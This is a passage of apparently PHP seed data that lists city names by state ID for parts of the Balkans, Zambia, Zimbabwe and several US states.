'mahwit'],\n ['state_id' => '4098', 'name' => 'nikshic'],\n ['state_id' => '4098', 'name' => 'pljevlja'],\n ['state_id' => '4098', 'name' => 'podgorica'],\n ['state_id' => '4098', 'name' => 'ulcinj'],\n ['state_id' => '4100', 'name' => 'gjakove'],\n ['state_id' => '4100', 'name' => 'novi banovci'],\n ['state_id' => '4100', 'name' => 'senta'],\n ['state_id' => '4100', 'name' => 'serbia'],\n ['state_id' => '4100', 'name' => 'uzice'],\n ['state_id' => '4101', 'name' => 'ada'],\n ['state_id' => '4101', 'name' => 'alibunar'],\n ['state_id' => '4101', 'name' => 'apatin'],\n ['state_id' => '4101', 'name' => 'bach'],\n ['state_id' => '4101', 'name' => 'bachka palanka'],\n ['state_id' => '4101', 'name' => 'bachka petrovac'],\n ['state_id' => '4101', 'name' => 'bachka topola'],\n ['state_id' => '4101', 'name' => 'bachki jarak'],\n ['state_id' => '4101', 'name' => 'banacki karlovac'],\n ['state_id' => '4101', 'name' => 'bechej'],\n ['state_id' => '4101', 'name' => 'bela crkva'],\n ['state_id' => '4101', 'name' => 'beochin'],\n ['state_id' => '4101', 'name' => 'choka'],\n ['state_id' => '4101', 'name' => 'churug'],\n ['state_id' => '4101', 'name' => 'crvenka'],\n ['state_id' => '4101', 'name' => 'futog'],\n ['state_id' => '4101', 'name' => 'indhija'],\n ['state_id' => '4101', 'name' => 'irig'],\n ['state_id' => '4101', 'name' => 'kac'],\n ['state_id' => '4101', 'name' => 'kanjizha'],\n ['state_id' => '4101', 'name' => 'kikinda'],\n ['state_id' => '4101', 'name' => 'kovachica'],\n ['state_id' => '4101', 'name' => 'kovin'],\n ['state_id' => '4101', 'name' => 'kula'],\n ['state_id' => '4101', 'name' => 'mol'],\n ['state_id' => '4101', 'name' => 'nova pazova'],\n ['state_id' => '4101', 'name' => 'novi bechej'],\n ['state_id' => '4101', 'name' => 'novi knezhevac'],\n ['state_id' => '4101', 'name' => 'novi sad'],\n ['state_id' => '4101', 'name' => 'odzhaci'],\n ['state_id' => '4101', 'name' => 'pacarak'],\n ['state_id' => '4101', 'name' => 'palic'],\n ['state_id' => '4101', 'name' => 'panchevo'],\n ['state_id' => '4101', 'name' => 'petrovaradin'],\n ['state_id' => '4101', 'name' => 'ruma'],\n ['state_id' => '4101', 'name' => 'senta'],\n ['state_id' => '4101', 'name' => 'shid'],\n ['state_id' => '4101', 'name' => 'sivac'],\n ['state_id' => '4101', 'name' => 'sombor'],\n ['state_id' => '4101', 'name' => 'srbobran'],\n ['state_id' => '4101', 'name' => 'sremska kamenica'],\n ['state_id' => '4101', 'name' => 'sremska mitrovica'],\n ['state_id' => '4101', 'name' => 'sremski karlovci'],\n ['state_id' => '4101', 'name' => 'stara pazova'],\n ['state_id' => '4101', 'name' => 'subotica'],\n ['state_id' => '4101', 'name' => 'temerin'],\n ['state_id' => '4101', 'name' => 'veternik'],\n ['state_id' => '4101', 'name' => 'vrbas'],\n ['state_id' => '4101', 'name' => 'vrshac'],\n ['state_id' => '4101', 'name' => 'zhabalj'],\n ['state_id' => '4101', 'name' => 'zhitishte'],\n ['state_id' => '4101', 'name' => 'zrenjanin'],\n ['state_id' => '4102', 'name' => 'kabwe'],\n ['state_id' => '4102', 'name' => 'kapiri mposhi'],\n ['state_id' => '4102', 'name' => 'mkushi'],\n ['state_id' => '4102', 'name' => 'mumbwa'],\n ['state_id' => '4102', 'name' => 'serenje'],\n ['state_id' => '4103', 'name' => 'chambishi'],\n ['state_id' => '4103', 'name' => 'chililabombwe'],\n ['state_id' => '4103', 'name' => 'chingola'],\n ['state_id' => '4103', 'name' => 'kalulushi'],\n ['state_id' => '4103', 'name' => 'kitwe'],\n ['state_id' => '4103', 'name' => 'luanshya'],\n ['state_id' => '4103', 'name' => 'mpongwe'],\n ['state_id' => '4103', 'name' => 'mufulira'],\n ['state_id' => '4103', 'name' => 'ndola'],\n ['state_id' => '4104', 'name' => 'chipata'],\n ['state_id' => '4104', 'name' => 'katete'],\n ['state_id' => '4104', 'name' => 'lundazi'],\n ['state_id' => '4104', 'name' => 'petauke'],\n ['state_id' => '4105', 'name' => 'mansa'],\n ['state_id' => '4105', 'name' => 'mwansabombwe'],\n ['state_id' => '4105', 'name' => 'nchelenge'],\n ['state_id' => '4105', 'name' => 'samfya'],\n ['state_id' => '4106', 'name' => 'chilanga'],\n ['state_id' => '4106', 'name' => 'kafue'],\n ['state_id' => '4106', 'name' => 'lusaka'],\n ['state_id' => '4107', 'name' => 'kalengwa'],\n ['state_id' => '4107', 'name' => 'kansanshi'],\n ['state_id' => '4107', 'name' => 'mwinilunga'],\n ['state_id' => '4107', 'name' => 'solwezi'],\n ['state_id' => '4107', 'name' => 'zambezi'],\n ['state_id' => '4108', 'name' => 'chinsali'],\n ['state_id' => '4108', 'name' => 'isoka'],\n ['state_id' => '4108', 'name' => 'kasama'],\n ['state_id' => '4108', 'name' => 'mbala'],\n ['state_id' => '4108', 'name' => 'mpika'],\n ['state_id' => '4109', 'name' => 'choma'],\n ['state_id' => '4109', 'name' => 'itezhi-tezhi'],\n ['state_id' => '4109', 'name' => 'kalomo'],\n ['state_id' => '4109', 'name' => 'livingstone'],\n ['state_id' => '4109', 'name' => 'maamba'],\n ['state_id' => '4109', 'name' => 'mazabuka'],\n ['state_id' => '4109', 'name' => 'monze'],\n ['state_id' => '4109', 'name' => 'nakambala'],\n ['state_id' => '4109', 'name' => 'siavonga'],\n ['state_id' => '4110', 'name' => 'kalabo'],\n ['state_id' => '4110', 'name' => 'kaoma'],\n ['state_id' => '4110', 'name' => 'limulunga'],\n ['state_id' => '4110', 'name' => 'mongu'],\n ['state_id' => '4110', 'name' => 'senanga'],\n ['state_id' => '4110', 'name' => 'sesheke'],\n ['state_id' => '4111', 'name' => 'bulawayo'],\n ['state_id' => '4112', 'name' => 'chitungwiza'],\n ['state_id' => '4112', 'name' => 'harare'],\n ['state_id' => '4113', 'name' => 'chimanimani'],\n ['state_id' => '4113', 'name' => 'chipinge'],\n ['state_id' => '4113', 'name' => 'mutare'],\n ['state_id' => '4113', 'name' => 'nyanga'],\n ['state_id' => '4113', 'name' => 'rusape'],\n ['state_id' => '4113', 'name' => 'sakubva'],\n ['state_id' => '4117', 'name' => 'chiredzi'],\n ['state_id' => '4117', 'name' => 'gaths'],\n ['state_id' => '4117', 'name' => 'masvingo'],\n ['state_id' => '3952', 'name' => 'manchester'],\n ['state_id' => '3952', 'name' => 'nashua'],\n ['state_id' => '3952', 'name' => 'concord'],\n ['state_id' => '3952', 'name' => 'derry'],\n ['state_id' => '3952', 'name' => 'dover'],\n ['state_id' => '3952', 'name' => 'rochester'],\n ['state_id' => '3952', 'name' => 'salem'],\n ['state_id' => '3952', 'name' => 'merrimack'],\n ['state_id' => '3952', 'name' => 'hudson'],\n ['state_id' => '3952', 'name' => 'londonderry'],\n ['state_id' => '3952', 'name' => 'keene'],\n ['state_id' => '3952', 'name' => 'bedford'],\n ['state_id' => '3952', 'name' => 'portsmouth'],\n ['state_id' => '3952', 'name' => 'goffstown'],\n ['state_id' => '3952', 'name' => 'laconia'],\n ['state_id' => '3952', 'name' => 'hampton'],\n ['state_id' => '3952', 'name' => 'milford'],\n ['state_id' => '3952', 'name' => 'durham'],\n ['state_id' => '3952', 'name' => 'exeter'],\n ['state_id' => '3952', 'name' => 'windham'],\n ['state_id' => '3952', 'name' => 'hooksett'],\n ['state_id' => '3952', 'name' => 'claremont'],\n ['state_id' => '3952', 'name' => 'lebanon'],\n ['state_id' => '3952', 'name' => 'pelham'],\n ['state_id' => '3952', 'name' => 'somersworth'],\n ['state_id' => '3952', 'name' => 'hanover'],\n ['state_id' => '3952', 'name' => 'amherst'],\n ['state_id' => '3952', 'name' => 'raymond'],\n ['state_id' => '3952', 'name' => 'conway'],\n ['state_id' => '3952', 'name' => 'berlin'],\n ['state_id' => '3952', 'name' => 'newmarket'],\n ['state_id' => '3952', 'name' => 'weare'],\n ['state_id' => '3952', 'name' => 'seabrook'],\n ['state_id' => '3952', 'name' => 'barrington'],\n ['state_id' => '3952', 'name' => 'hampstead'],\n ['state_id' => '3952', 'name' => 'franklin'],\n ['state_id' => '3952', 'name' => 'litchfield'],\n ['state_id' => '3952', 'name' => 'hollis'],\n ['state_id' => '3952', 'name' => 'plaistow'],\n ['state_id' => '3952', 'name' => 'bow'],\n ['state_id' => '3952', 'name' => 'belmont'],\n ['state_id' => '3952', 'name' => 'stratham'],\n ['state_id' => '3952', 'name' => 'swanzey'],\n ['state_id' => '3952', 'name' => 'gilford'],\n ['state_id' => '3952', 'name' => 'pembroke'],\n ['state_id' => '3952', 'name' => 'plymouth'],\n ['state_id' => '3952', 'name' => 'farmington'],\n ['state_id' => '3952', 'name' => 'atkinson'],\n ['state_id' => '3952', 'name' => 'newport'],\n ['state_id' => '3952', 'name' => 'epping'],\n ['state_id' => '3952', 'name' => 'peterborough'],\n ['state_id' => '3952', 'name' => 'wolfeboro'],\n ['state_id' => '3952', 'name' => 'meredith'],\n ['state_id' => '3952', 'name' => 'kingston'],\n ['state_id' => '3952', 'name' => 'rindge'],\n ['state_id' => '3952', 'name' => 'hillsborough'],\n ['state_id' => '3953', 'name' => 'newark'],\n ['state_id' => '3953', 'name' => 'jersey city'],\n ['state_id' => '3953', 'name' => 'paterson'],\n ['state_id' => '3953', 'name' => 'elizabeth'],\n ['state_id' => '3953', 'name' => 'edison'],\n ['state_id' => '3953', 'name' => 'woodbridge'],\n ['state_id' => '3953', 'name' => 'lakewood'],\n ['state_id' => '3953', 'name' => 'toms river'],\n ['state_id' => '3953', 'name' => 'hamilton'],\n ['state_id' => '3953', 'name' => 'trenton'],\n ['state_id' => '3953', 'name' => 'clifton'],\n ['state_id' => '3953', 'name' => 'camden'],\n ['state_id' => '3953', 'name' => 'brick'],\n ['state_id' => '3953', 'name' => 'cherry hill'],\n ['state_id' => '3953', 'name' => 'passaic'],\n ['state_id' => '3953', 'name' => 'middletown'],\n ['state_id' => '3953', 'name' => 'union city'],\n ['state_id' => '3953', 'name' => 'old bridge'],\n ['state_id' => '3953', 'name' => 'gloucester township'],\n ['state_id' => '3953', 'name' => 'east orange'],\n ['state_id' => '3953', 'name' => 'bayonne'],\n ['state_id' => '3953', 'name' => 'franklin'],\n ['state_id' => '3953', 'name' => 'north bergen'],\n ['state_id' => '3953', 'name' => 'vineland'],\n ['state_id' => '3953', 'name' => 'union'],\n ['state_id' => '3953', 'name' => 'piscataway'],\n ['state_id' => '3953', 'name' => 'new brunswick'],\n ['state_id' => '3953', 'name' => 'jackson'],\n ['state_id' => '3953', 'name' => 'wayne'],\n ['state_id' => '3953', 'name' => 'irvington'],\n ['state_id' => '3953', 'name' => 'parsippany-troy hills'],\n ['state_id' => '3953', 'name' => 'howell'],\n ['state_id' => '3953', 'name' => 'perth amboy'],\n ['state_id' => '3953', 'name' => 'hoboken'],\n ['state_id' => '3953', 'name' => 'plainfield'],\n ['state_id' => '3953', 'name' => 'west new york'],\n ['state_id' => '3953', 'name' => 'washington township'],\n ['state_id' => '3953', 'name' => 'east brunswick'],\n ['state_id' => '3953', 'name' => 'bloomfield'],\n ['state_id' => '3953', 'name' => 'west orange'],\n ['state_id' => '3953', 'name' => 'evesham'],\n ['state_id' => '3953', 'name' => 'bridgewater'],\n ['state_id' => '3953', 'name' => 'south brunswick'],\n ['state_id' => '3953', 'name' => 'egg harbor'],\n ['state_id' => '3953', 'name' => 'manchester'],\n ['state_id' => '3953', 'name' => 'hackensack'],\n ['state_id' => '3953', 'name' => 'sayreville'],\n ['state_id' => '3953', 'name' => 'mount laurel'],\n ['state_id' => '3953', 'name' => 'berkeley'],\n ['state_id' => '3953', 'name' => 'north brunswick'],\n ['state_id' => '3953', 'name' => 'kearny'],\n ['state_id' => '3953', 'name' => 'linden'],\n ['state_id' => '3953', 'name' => 'marlboro'],\n ['state_id' => '3953', 'name' => 'teaneck'],\n ['state_id' => '3953', 'name' => 'atlantic city'],\n ['state_id' => '3953', 'name' => 'winslow'],\n ['state_id' => '3953', 'name' => 'monroe'],\n ['state_id' => '3953', 'name' => 'manalapan'],\n ['state_id' => '3953', 'name' => 'hillsborough'],\n ['state_id' => '3953', 'name' => 'montclair'],\n ['state_id' => '3953', 'name' => 'galloway'],\n ['state_id' => '3953', 'name' => 'freehold township'],\n ['state_id' => '3953', 'name' => 'monroe township'],\n ['state_id' => '3953', 'name' => 'belleville'],\n ['state_id' => '3953', 'name' => 'pennsauken'],\n ['state_id' => '3953', 'name' => 'ewing'],\n ['state_id' => '3953', 'name' => 'fort lee'],\n ['state_id' => '3953', 'name' => 'lawrence'],\n ['state_id' => '3953', 'name' => 'fair lawn'],\n ['state_id' => '3953', 'name' => 'willingboro'],\n ['state_id' => '3953', 'name' => 'long branch'],\n ['state_id' => '3953', 'name' => 'deptford'],\n ['state_id' => '3953', 'name' => 'garfield'],\n ['state_id' => '3953', 'name' => 'westfield'],\n ['state_id' => '3953', 'name' => 'city of orange'],\n ['state_id' => '3953', 'name' => 'livingston'],\n ['state_id' => '3953', 'name' => 'voorhees'],\n ['state_id' => '3953', 'name' => 'princeton'],\n ['state_id' => '3953', 'name' => 'millville'],\n ['state_id' => '3953', 'name' => 'nutley'],\n ['state_id' => '3953', 'name' => 'mount olive'],\n ['state_id' => '3953', 'name' => 'neptune'],\n ['state_id' => '3953', 'name' => 'pemberton township'],\n ['state_id' => '3953', 'name' => 'lacey'],\n ['state_id' => '3953', 'name' => 'rahway'],\n ['state_id' => '3953', 'name' => 'ocean township'],\n ['state_id' => '3953', 'name' => 'east windsor'],\n ['state_id' => '3953', 'name' => 'west windsor'],\n ['state_id' => '3953', 'name' => 'englewood'],\n ['state_id' => '3953', 'name' => 'bergenfield'],\n ['state_id' => '3953', 'name' => 'bernards township'],\n ['state_id' => '3953', 'name' => 'stafford township'],\n ['state_id' => '3953', 'name' => 'hamilton township'],\n ['state_id' => '3953', 'name' => 'paramus'],\n ['state_id' => '3953', 'name' => 'wall'],\n ['state_id' => '3953', 'name' => 'mahwah'],\n ['state_id' => '3953', 'name' => 'west milford'],\n ['state_id' => '3953', 'name' => 'randolph'],\n ['state_id' => '3953', 'name' => 'bridgeton'],\n ['state_id' => '3953', 'name' => 'ridgewood'],\n ['state_id' => '3953', 'name' => 'rockaway township'],\n ['state_id' => '3953', 'name' => 'lodi'],\n ['state_id' => '3953', 'name' => 'vernon'],\n ['state_id' => '3953', 'name' => 'maplewood'],\n ['state_id' => '3953', 'name' => 'cliffside park'],\n ['state_id' => '3953', 'name' => 'scotch plains'],\n ['state_id' => '3953', 'name' => 'south plainfield'],\n ['state_id' => '3953', 'name' => 'roxbury'],\n ['state_id' => '3953', 'name' => 'medford'],\n ['state_id' => '3953', 'name' => 'plainsboro'],\n ['state_id' => '3953', 'name' => 'lower township'],\n ['state_id' => '3953', 'name' => 'carteret'],\n ['state_id' => '3953', 'name' => 'cranford'],\n ['state_id' => '3953', 'name' => 'burlington township'],\n ['state_id' => '3953', 'name' => 'morris township'],\n ['state_id' => '3953', 'name' => 'montgomery'],\n ['state_id' => '3953', 'name' => 'raritan township'],\n ['state_id' => '3953', 'name' => 'north plainfield'],\n ['state_id' => '3953', 'name' => 'west deptford'],\n ['state_id' => '3953', 'name' => 'montville'],\n ['state_id' => '3953', 'name' => 'summit'],\n ['state_id' => '3953', 'name' => 'hillside'],\n ['state_id' => '3953', 'name' => 'jefferson'],\n ['state_id' => '3953', 'name' => 'roselle'],\n ['state_id' => '3953', 'name' => 'barnegat'],\n ['state_id' => '3953', 'name' => 'moorestown'],\n ['state_id' => '3953', 'name' => 'lyndhurst'],\n ['state_id' => '3953', 'name' => 'hazlet'],\n ['state_id' => '3953', 'name' => 'pleasantville'],\n ['state_id' => '3953', 'name' => 'millburn'],\n ['state_id' => '3953', 'name' => 'little egg harbor'],\n ['state_id' => '3953', 'name' => 'sparta'],\n ['state_id' => '3953', 'name' => 'palisades park'],\n ['state_id' => '3953', 'name' => 'elmwood park'],\n ['state_id' => '3953', 'name' => 'maple shade'],\n ['state_id' => '3953', 'name' => 'middle township'],\n ['state_id' => '3953', 'name' => 'hawthorne'],\n ['state_id' => '3953', 'name' => 'glassboro'],\n ['state_id' => '3953', 'name' => 'washington township'],\n ['state_id' => '3953', 'name' => 'morristown'],\n ['state_id' => '3953', 'name' => 'point pleasant'],\n ['state_id' => '3953', 'name' => 'aberdeen'],\n ['state_id' => '3953', 'name' => 'dover'],\n ['state_id' => '3953', 'name' => 'rutherford'],\n ['state_id' => '3953', 'name' => 'tinton falls'],\n ['state_id' => '3953', 'name' => 'lindenwold'],\n ['state_id' => '3953', 'name' => 'dumont'],\n ['state_id' => '3953', 'name' => 'hopewell township'],\n ['state_id' => '3953', 'name' => 'delran'],\n ['state_id' => '3953', 'name' => 'franklin township'],\n ['state_id' => '3953', 'name' => 'holmdel'],\n ['state_id' => '3953', 'name' => 'wyckoff'],\n ['state_id' => '3953', 'name' => 'denville'],\n ['state_id' => '3953', 'name' => 'new milford'],\n ['state_id' => '3953', 'name' => 'secaucus'],\n ['state_id' => '3953', 'name' => 'south orange village'],\n ['state_id' => '3953', 'name' => 'readington'],\n ['state_id' => '3953', 'name' => 'asbury park'],\n ['state_id' => '3953', 'name' => 'south river'],\n ['state_id' => '3953', 'name' => 'madison'],\n ['state_id' => '3953', 'name' => 'springfield'],\n ['state_id' => '3953', 'name' => 'cinnaminson'],\n ['state_id' => '3953', 'name' => 'pequannock'],\n ['state_id' => '3953', 'name' => 'north arlington'],\n ['state_id' => '3953', 'name' => 'warren'],\n ['state_id' => '3953', 'name' => 'mantua'],\n ['state_id' => '3953', 'name' => 'hopatcong'],\n ['state_id' => '3953', 'name' => 'phillipsburg'],\n ['state_id' => '3953', 'name' => 'hammonton'],\n ['state_id' => '3953', 'name' => 'clark'],\n ['state_id' => '3953', 'name' => 'haddon township'],\n ['state_id' => '3953', 'name' => 'tenafly'],\n ['state_id' => '3953', 'name' => 'ramsey'],\n ['state_id' => '3953', 'name' => 'branchburg'],\n ['state_id' => '3953', 'name' => 'little falls'],\n ['state_id' => '3953', 'name' => 'highland park'],\n ['state_id' => '3953', 'name' => 'collingswood'],\n ['state_id' => '3953', 'name' => 'fairview'],\n ['state_id' => '3953', 'name' => 'hanover'],\n ['state_id' => '3953', 'name' => 'saddle brook'],\n ['state_id' => '3953', 'name' => 'robbinsville'],\n ['state_id' => '3953', 'name' => 'middlesex'],\n ['state_id' => '3953', 'name' => 'harrison'],\n ['state_id' => '3953', 'name' => 'metuchen'],\n ['state_id' => '3953', 'name' => 'clinton township'],\n ['state_id' => '3953', 'name' => 'pennsville'],\n ['state_id' => '3953', 'name' => 'verona'],\n ['state_id' => '3955', 'name' => 'albuquerque'],\n ['state_id' => '3955', 'name' => 'las cruces'],\n ['state_id' => '3955', 'name' => 'rio rancho'],\n ['state_id' => '3955', 'name' => 'santa fe'],\n ['state_id' => '3955', 'name' => 'roswell'],\n ['state_id' => '3955', 'name' => 'farmington'],\n ['state_id' => '3955', 'name' => 'south valley'],\n ['state_id' => '3955', 'name' => 'clovis'],\n ['state_id' => '3955', 'name' => 'hobbs'],\n ['state_id' => '3955', 'name' => 'alamogordo'],\n ['state_id' => '3955', 'name' => 'carlsbad'],\n ['state_id' => '3955', 'name' => 'gallup'],\n ['state_id' => '3955', 'name' => 'deming'],\n ['state_id' => '3955', 'name' => 'los lunas'],\n ['state_id' => '3955', 'name' => 'chaparral'],\n ['state_id' => '3955', 'name' => 'sunland park'],\n ['state_id' => '3955', 'name' => 'las vegas'],\n ['state_id' => '3955', 'name' => 'portales'],\n ['state_id' => '3955', 'name' => 'los alamos'],\n ['state_id' => '3955', 'name' => 'north valley'],\n ['state_id' => '3955', 'name' => 'artesia'],\n ['state_id' => '3955', 'name' => 'lovington'],\n ['state_id' => '3955', 'name' => 'silver city'],\n ['state_id' => '3955', 'name' => 'espanola'],\n ['state_id' => '3955', 'name' => 'anthony'],\n ['state_id' => '3955', 'name' => 'grants'],\n ['state_id' => '3955', 'name' => 'socorro'],\n ['state_id' => '3955', 'name' => 'corrales'],\n ['state_id' => '3955', 'name' => 'bernalillo'],\n ['state_id' => '3955', 'name' => 'shiprock'],\n ['state_id' => '3955', 'name' => 'bloomfield'],\n ['state_id' => '3955', 'name' => 'ruidoso'],\n ['state_id' => '3955', 'name' => 'kirtland'],\n ['state_id' => '3955', 'name' => 'belen'],\n ['state_id' => '3956', 'name' => 'airmont'],\n ['state_id' => '3956', 'name' => 'albany'],\n ['state_id' => '3956', 'name' => 'alden'],\n ['state_id' => '3956', 'name' => 'amherst'],\n ['state_id' => '3956', 'name' => 'amityville'],\n ['state_id' => '3956', 'name' => 'amsterdam'],\n ['state_id' => '3956', 'name' => 'arcadia'],\n ['state_id' => '3956', 'name' => 'auburn'],\n ['state_id' => '3956', 'name' => 'aurora'],\n ['state_id' => '3956', 'name' => 'babylon'],\n ['state_id' => '3956', 'name' => 'baldwinsville'],\n ['state_id' => '3956', 'name' => 'ballston'],\n ['state_id' => '3956', 'name' => 'batavia'],\n ['state_id' => '3956', 'name' => 'bath'],\n ['state_id' => '3956', 'name' => 'beacon'],\n ['state_id' => '3956', 'name' => 'bedford'],\n ['state_id' => '3956', 'name' => 'beekman'],\n ['state_id' => '3956', 'name' => 'bethlehem'],\n ['state_id' => '3956', 'name' => 'binghamton'],\n ['state_id' => '3956', 'name' => 'blooming grove'],\n ['state_id' => '3956', 'name' => 'briarcliff manor'],\n ['state_id' => '3956', 'name' => 'brighton'],\n ['state_id' => '3956', 'name' => 'brockport'],\n ['state_id' => '3956', 'name' => 'brookhaven'],\n ['state_id' => '3956', 'name' => 'brunswick'],\n ['state_id' => '3956', 'name' => 'buffalo'],\n ['state_id' => '3956', 'name' => 'camillus'],\n ['state_id' => '3956', 'name' => 'canandaigua'],\n ['state_id' => '3956', 'name' => 'canton'],\n ['state_id' => '3956', 'name' => 'carmel'],\n ['state_id' => '3956', 'name' => 'catskill'],\n ['state_id' => '3956', 'name' => 'cheektowaga'],\n ['state_id' => '3956', 'name' => 'chenango'],\n ['state_id' => '3956', 'name' => 'chester'],\n ['state_id' => '3956', 'name' => 'chestnut ridge'],\n ['state_id' => '3956', 'name' => 'chili'],\n ['state_id' => '3956', 'name' => 'cicero'],\n ['state_id' => '3956', 'name' => 'clarence'],\n ['state_id' => '3956', 'name' => 'clarkstown'],\n ['state_id' => '3956', 'name' => 'clay'],\n ['state_id' => '3956', 'name' => 'clifton park'],\n ['state_id' => '3956', 'name' => 'cohoes'],\n ['state_id' => '3956', 'name' => 'colonie'],\n ['state_id' => '3956', 'name' => 'corning'],\n ['state_id' => '3956', 'name' => 'cornwall'],\n ['state_id' => '3956', 'name' => 'cortland'],\n ['state_id' => '3956', 'name' => 'cortlandt'],\n ['state_id' => '3956', 'name' => 'crawford'],\n ['state_id' => '3956', 'name' => 'croton-on-hudson'],\n ['state_id' => '3956', 'name' => 'depew'],\n ['state_id' => '3956', 'name' => 'dewitt (de witt)'],\n ['state_id' => '3956', 'name' => 'dobbs ferry'],\n ['state_id' => '3956', 'name' => 'dryden'],\n ['state_id' => '3956', 'name' => 'dunkirk'],\n ['state_id' => '3956', 'name' => 'east fishkill'],\n ['state_id' => '3956', 'name' => 'east greenbush'],\n ['state_id' => '3956', 'name' => 'east hampton'],\n ['state_id' => '3956', 'name' => 'east hills'],\n ['state_id' => '3956', 'name' => 'east rockaway'],\n ['state_id' => '3956', 'name' => 'eastchester'],\n ['state_id' => '3956', 'name' => 'elma'],\n ['state_id' => '3956', 'name' => 'elmira'],\n ['state_id' => '3956', 'name' => 'endicott'],\n ['state_id' => '3956', 'name' => 'esopus'],\n ['state_id' => '3956', 'name' => 'evans'],\n ['state_id' => '3956', 'name' => 'fallsburg'],\n ['state_id' => '3956', 'name' => 'farmingdale'],\n ['state_id' => '3956', 'name' => 'farmington'],\n ['state_id' => '3956', 'name' => 'fishkill'],\n ['state_id' => '3956', 'name' => 'floral park'],\n ['state_id' => '3956', 'name' => 'fredonia'],\n ['state_id' => '3956', 'name' => 'freeport'],\n ['state_id' => '3956', 'name' => 'fulton'],\n ['state_id' => '3956', 'name' => 'garden city'],\n ['state_id' => '3956', 'name' => 'gates'],\n ['state_id' => '3956', 'name' => 'geddes'],\n ['state_id' => '3956', 'name' => 'geneseo'],\n ['state_id' => '3956', 'name' => 'geneva'],\n ['state_id' => '3956', 'name' => 'german flatts'],\n ['state_id' => '3956', 'name' => 'glen cove'],\n ['state_id' => '3956', 'name' => 'glens falls'],\n ['state_id' => '3956', 'name' => 'glenville'],\n ['state_id' => '3956', 'name' => 'gloversville'],\n ['state_id' => '3956', 'name' => 'goshen'],\n ['state_id' => '3956', 'name' => 'grand island'],\n ['state_id' => '3956', 'name' => 'great neck'],\n ['state_id' => '3956', 'name' => 'greece'],\n ['state_id' => '3956', 'name' => 'greenburgh'],\n ['state_id' => '3956', 'name' => 'guilderland'],\n ['state_id' => '3956', 'name' => 'halfmoon'],\n ['state_id' => '3956', 'name' => 'hamburg'],\n ['state_id' => '3956', 'name' => 'hamlin'],\n ['state_id' => '3956', 'name' => 'harrison'],\n ['state_id' => '3956', 'name' => 'hastings'],\n ['state_id' => '3956', 'name' => 'hastings-on-hudson'],\n ['state_id' => '3956', 'name' => 'haverstraw'],\n ['state_id' => '3956', 'name' => 'hempstead'],\n ['state_id' => '3956', 'name' => 'henrietta'],\n ['state_id' => '3956', 'name' => 'herkimer'],\n ['state_id' => '3956', 'name' => 'highlands'],\n ['state_id' => '3956', 'name' => 'hornell'],\n ['state_id' => '3956', 'name' => 'horseheads'],\n ['state_id' => '3956', 'name' => 'hudson'],\n ['state_id' => '3956', 'name' => 'hudson falls'],\n ['state_id' => '3956', 'name' => 'huntington'],\n ['state_id' => '3956', 'name' => 'hyde park'],\n ['state_id' => '3956', 'name' => 'ilion'],\n ['state_id' => '3956', 'name' => 'irondequoit'],\n ['state_id' => '3956', 'name' => 'islip'],\n ['state_id' => '3956', 'name' => 'ithaca'],\n ['state_id' => '3956', 'name' => 'jamestown'],\n ['state_id' => '3956', 'name' => 'johnson city'],\n ['state_id' => '3956', 'name' => 'johnstown'],\n ['state_id' => '3956', 'name' => 'kenmore'],\n ['state_id' => '3956', 'name' => 'kent'],\n ['state_id' => '3956', 'name' => 'kingsbury'],\n ['state_id' => '3956', 'name' => 'kingston'],\n ['state_id' => '3956', 'name' => 'kirkland'],\n ['state_id' => '3956', 'name' => 'kiryas joel'],\n ['state_id' => '3956', 'name' => 'lackawanna'],\n ['state_id' => '3956', 'name' => 'lagrange (la grange)'],\n ['state_id' => '3956', 'name' => 'lake grove'],\n ['state_id' => '3956', 'name' => 'lancaster'],\n ['state_id' => '3956', 'name' => 'lansing'],\n ['state_id' => '3956', 'name' => 'le ray'],\n ['state_id' => '3956', 'name' => 'lenox'],\n ['state_id' => '3956', 'name' => 'lewisboro'],\n ['state_id' => '3956', 'name' => 'lewiston'],\n ['state_id' => '3956', 'name' => 'liberty'],\n ['state_id' => '3956', 'name' => 'lindenhurst'],\n ['state_id' => '3956', 'name' => 'little falls'],\n ['state_id' => '3956', 'name' => 'lloyd'],\n ['state_id' => '3956', 'name' => 'lockport'],\n ['state_id' => '3956', 'name' => 'long beach'],\n ['state_id' => '3956', 'name' => 'lynbrook'],\n ['state_id' => '3956', 'name' => 'lysander'],\n ['state_id' => '3956', 'name' => 'macedon'],\n ['state_id' => '3956', 'name' => 'malone'],\n ['state_id' => '3956', 'name' => 'malta'],\n ['state_id' => '3956', 'name' => 'malverne'],\n ['state_id' => '3956', 'name' => 'mamakating'],\n ['state_id' => '3956', 'name' => 'mamaroneck'],\n ['state_id' => '3956', 'name' => 'manchester'],\n ['state_id' => '3956', 'name' => 'manlius'],\n ['state_id' => '3956', 'name' => 'massapequa park'],\n ['state_id' => '3956', 'name' => 'massena'],\n ['state_id' => '3956', 'name' => 'mastic beach'],\n ['state_id' => '3956', 'name' => 'mechanicville'],\n ['state_id' => '3956', 'name' => 'mendon'],\n ['state_id' => '3956', 'name' => 'middletown'],\n ['state_id' => '3956', 'name' => 'milton'],\n ['state_id' => '3956', 'name' => 'mineola'],\n ['state_id' => '3956', 'name' => 'monroe'],\n ['state_id' => '3956', 'name' => 'montgomery'],\n ['state_id' => '3956', 'name' => 'moreau'],\n ['state_id' => '3956', 'name' => 'mount kisco'],\n ['state_id' => '3956', 'name' => 'mount pleasant'],\n ['state_id' => '3956', 'name' => 'mount vernon'],\n ['state_id' => '3956', 'name' => 'new castle'],\n ['state_id' => '3956', 'name' => 'new hartford'],\n ['state_id' => '3956', 'name' => 'new hyde park'],\n ['state_id' => '3956', 'name' => 'new paltz'],\n ['state_id' => '3956', 'name' => 'new rochelle'],\n ['state_id' => '3956', 'name' => 'new square'],\n ['state_id' => '3956', 'name' => 'new windsor'],\n ['state_id' => '3956', 'name' => 'new york'],\n ['state_id' => '3956', 'name' => 'newark'],\n ['state_id' => '3956', 'name' => 'newburgh'],\n ['state_id' => '3956', 'name' => 'newfane'],\n ['state_id' => '3956', 'name' => 'niagara falls'],\n ['state_id' => '3956', 'name' => 'niskayuna'],\n ['state_id' => '3956', 'name' => 'north castle'],\n ['state_id' => '3956', 'name' => 'north greenbush'],\n ['state_id' => '3956', 'name' => 'north hempstead'],\n ['state_id' => '3956', 'name' => 'north syracuse'],\n ['state_id' => '3956', 'name' => 'north tonawanda'],\n ['state_id' => '3956', 'name' => 'northport'],\n ['state_id' => '3956', 'name' => 'norwich'],\n ['state_id' => '3956', 'name' => 'nyack'],\n ['state_id' => '3956', 'name' => 'ogden'],\n ['state_id' => '3956', 'name' => 'ogdensburg'],\n ['state_id' => '3956', 'name' => 'olean'],\n ['state_id' => 